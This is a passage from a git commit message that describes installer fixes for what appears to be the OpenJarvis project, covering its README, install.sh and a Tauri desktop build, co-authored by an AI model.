fail for environment-specific reasons we can't diagnose remotely),
but together they remove the three biggest friction sources we saw:
copy-paste install command that can't possibly work, doomed git-bash
installs that fail mysteriously, and missing exact install commands
when uv isn't found.

The Tauri change ships in the desktop binary; the README change is
visible immediately on the repo page; the install.sh change reaches
users via openjarvis.ai (when it's restored) and via the GitHub-raw
fallback from PR #398.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-23 15:48:13 +00:00